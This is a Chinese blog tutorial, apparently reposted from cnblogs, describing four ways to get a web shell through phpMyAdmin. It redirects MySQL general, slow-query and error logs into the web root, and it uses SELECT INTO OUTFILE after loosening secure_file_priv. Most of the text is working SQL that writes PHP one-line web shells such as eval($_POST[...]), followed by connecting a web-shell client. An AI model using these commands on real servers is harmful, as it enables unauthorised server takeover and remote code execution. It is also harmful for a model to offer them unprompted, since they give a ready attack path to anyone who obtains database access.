phpmyadmin中getshell的几种姿势


title: phpmyadmin中getshell的几种姿势


1,利用全局变量general_log去getshell

show variables like '%general%';

360截图175711206810062

然后将general_log打开,执行命令set global general_log=on;

因为phpstudy默认的根目录是/phpstudy/www/,所以接下来只需要修改日志文件的位置到网站的根目录下。

set global general_log_file='C:/phpstudy/www/v01cano.php';

1

验证文件是否存在

360截图17001020496872

访问该文件后发现,日志文件正常解析了,说明修改路径成功。会以文本形式显示的原因是由于没有<?php ?>php标记。

写入一句话木马:

select '<?php assert($_POST["v01cano"]); ?>'

这个就会记录到刚才的日志文件中。然后我们用菜刀连上。

1543464978531

2,利用slow_query_log慢查询日志getshell

首先使用命令show variables like '%slow_query%'查询慢查询日志的状态,默认是关闭的

1

执行命令SET GLOBAL slow_query_log=ON开启慢查询语句。

2

执行命令set global slow_query_log_file='C:/phpstudy/www/v01cano.php';修改慢查询日志路径。

修改成功:

3

尝试直接写入shell,发现其并没有被记录进slow_query_log_file中即v01cano.php中,于是查询相关慢查询日志的说明得知,只有当执行的sql语句超过慢查询的阈值时,才会被记录其中。于是尝试使该sql语句执行的时间变长:

select '<?php @eval($_POST[v01cano]);?>' union select sleep(10)

即可成功将一句话木马写入v01cano.php文件中:

4

使用菜刀连接,成功getshell:

5

此处也可以修改慢查询的阈值getshell:

show variables like 'long_query_time'; #默认为10秒
#执行命令修改long_query_time的默认值为0.000001秒。
set global long_query_time = 0.000001;
#写入shell
select '<?php @eval($_POST[v01cano]);?>' union select sleep(2);
#即可成功getshell。

3,利用log_error错误日志getshell。

show variables like 'log_error';
#该日志会将phpmyadmin登入的用户名记录在其中,可以将一句话木马,通过用户名的登入框写入到该日#志中,当该web站点存在本地文件包含漏洞时,可以配合该漏洞getshell。

4,利用into outfile写入;

#mysql新特性secure_file_priv会对读写文件产生影响,该参数用来限制导入导出
#查看该参数:
show global variables like '%secure%';
#当secure_file_priv为NULL时,表示限制mysql不允许导入导出。所以爆出错误
#要想使得该语句导出成功,则需要在mysql文件夹下修改my.ini 文件
#在[mysqld]内加入secure_file_priv ="" 即可
#写入shell
select "<?php @eval($_POST['v01cano']);?>" into outfile 'C:/phpStudy/WWW/v01cano.php';

猜你喜欢

转载自www.cnblogs.com/v01cano/p/10292670.html